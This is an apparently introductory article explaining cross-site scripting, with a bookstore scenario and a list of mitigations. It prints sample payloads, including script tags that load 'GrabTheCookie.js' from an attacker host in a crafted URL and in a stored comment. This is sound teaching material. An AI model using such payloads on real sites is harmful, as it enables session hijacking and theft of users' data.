Cross Site Script

What is Cross-Site Scripting?

 So, what’s more dreadful than the scary thought of finding someone attacks your website by a Cross-Site Scripting (or XSS) Vulnerability? It can lead to a total catastrophe and this same vulnerability has attacked a huge number of popular sites in past like Twitter, Facebook, and YouTube though.

Cross-Site Scripting is one of the most common vulnerability in web applications nowadays. However, before getting deeper into getting the know-how of XSS, we need to understand the concept of Same-Origin Policy.

Same-Origin Policy

Under this policy, which is built in most of the browsers in some or the other way, a trust is built between two different pages having scripts on them. The concept allows the browser to identify a script that is on one page and tries to access data on another page, provided the “origin” of both of these pages is same. Origin in these terms is an amalgamation of the URI (Uniform Resource Identifier), hostname and the port number being used.

So as per this policy, a script on http://mywebsite.com/page1 can access data from http://mywebsite.com/page2 or in simple terms, a trust is built for those pages who have the same origin so that they can access the resources.

However, Cross-Site Scripting can exploid this trust!!!

XSS and SQL Injection

XSS is somewhat similar to SQL Injection. Here, instead of injecting SQL Queries, an attacker injects code the attacker can execute it remotely i.e., Client Side Scripting.

An attacker can inject a code by exploiting the vulnerabilities either in the web-based applications or the servers on which they are hosted or through plugins being used and thus can gain elevated privileges to session-cookies or sensitive content.

Types of Cross-Site Scripting

Non-Persistent XSS

Persistent XSS

The above two types of XSS has alternative classifications Client-Side or Server-Side.

Non-Persistent XSS Example

Non-persistent type of attacks typically requires the victim to visit the exclusively constructed link by the attacker. As soon as the victim visits the link, the code gets executed by the victim’s browser and the security is compromised.

Consider that Sam visits an online bookstore http://MyBookSt.com/ wherein he can be authenticated using his username and password combination. As soon as a user (here, Sam) successfully logs in, the browser stores the Authorization Cookie so that the Server, as well as the Client machine can recognize Sam.

James, an attacker, tries to exploit http://MyBookSt.com/. So he tries to find a book on the Search Page. The Search Page has a textbox wherein a user can enter the name of a book and click on the Search Button. If a book is available, the server will display the results or else it will display “<Name of the Book> not found” and the URL will be of the form: http://MyBookSt.com?q=NameOfTheBook.

Now, James tries to inject a code in the search box instead of the name of the book. For example, he inserts : “<script type=’text/javascript’>alert(‘YouAreAttacked’);</script>”. Now, the server will try to fetch the above mentioned script in the book store and since it is not a valid book name, it will display “<script type=’text/javascript’>alert(‘You Are Attacked’);</script> not found” along with an alert message “You Are Attacked”.

The URL would be of the form: http://MyBookSt.com?q=<script%20type=’text/javascript’>alert(‘YouAreAttacked’);</script>”

So now James is sure that the site is vulnerable to XSS. So he creates another URL of the form:

http://MyBookSt.com?q=NameOfTheBook<script%20src=”http://James.com/GrabTheCookie.js”></script>

What We Have Learned?

The above URL could further be converted into hexadecimal form so that the victim, Sam cannot interpret easily. James sends this new URL to Sam by an email suggesting a new book’s name (e.g.NewBook). Sam being a voracious reader clicks on the link which goes to http://MyBookSt.com and displays “NewBook” not found. However, Sam is unaware of the script. The script executes and grabs the authorization cookie of Sam and sends it to James server.

So, now James can enjoy being Sam by pasting Sam’s cookie into his browser and can order books, view Sam’s address, credit card numbers and all other sensitive information being stored.

Persistent Attacks Example

Persistent attacks are more dangerous as compared to non-persistent attacks. Here, the injected code is stored on the server of the flawed website and as a result, the attacker can have elevated privileges.

Considering the same example, James creates his account on http://MyBookSt.com. He already knows that the site has XSS vulnerability. Now the site in our example – http://MyBookSt.com has a blog where users can post comments. Whatever comment a user types in is displayed after hitting the publish button. However, if a script or some HTML tag gets the entry in the comments textbox then it’ll be showing as same. That confirms James assumption that he can execute scripts on the page.

In That Case,

James reads a post on the blog and gives a comment like: This book is worth reading<script src=http://James.com/GrabTheCookie.js></script>

So when a legitimate user like Sam logs in to the site and visits the page with James comment, the script gets executed and steals the cookie of Sam which is being used to authorize him. In turn, James can now comment impersonating Sam.

Recent XSS Attacks and Their Impacts

Recently, auction site eBay was vulnerable to XSS as a result of which attackers injected a malicious JavaScript into several listing of iPhones. Whenever a legitimate user clicks on any of these, it redirects to a page similar to eBay’s login page. However, the page was a phishing page hosted elsewhere.

Similarly, hacker attacks Facebook with XSS and made a viral exploitation.

Measures to secure your web applications from XSS

Never Place Untrusted Data or Code

By restricting untrusted data or code in a script, tag name, attribute name, inside HTML comment or inside a Cascading Style Sheet, we can mitigate from XSS attacks.

Use HTML Escape/Contextual Output Encoding

In case you want to place any untrusted code, the programmer can use HTML Escape techniques or encoding.

Strictly Validate Unauthentic HTML Input

So, You can sanitize unauthentic HTML Input from the user by using HTML Sanitizers.

Disabling Scripts

Although using AJAX and other scripts enhances the performance and other parameters of a web application, developers can write their applications so that users can perform their tasks without needing such client-side scripts. Allowing users to disable scripts in their browsers can secure them against XSS attacks though.In this case, one example can be use of Firefox Addon: NoScript

Bind Cookies with IP Address

So, by binding cookies with IP Address of the user, the developer can program their applications in such a way that a user can use their application only through the combination of the authorization cookie and the IP of the user. So here, even if the attacker gets the cookie, his IP address will be different and hence the server can invalidate the sessions.

Train Your Users

Educate your users so that they do not click on unwanted links and inspect the links before clicking

Conclusion

However, XSS or cross-site scripting attacks are getting more tougher to defend day by day.

So, you should be careful while creating web apps. Besides that, visit the best sources for your internet security tips and cyber security tips!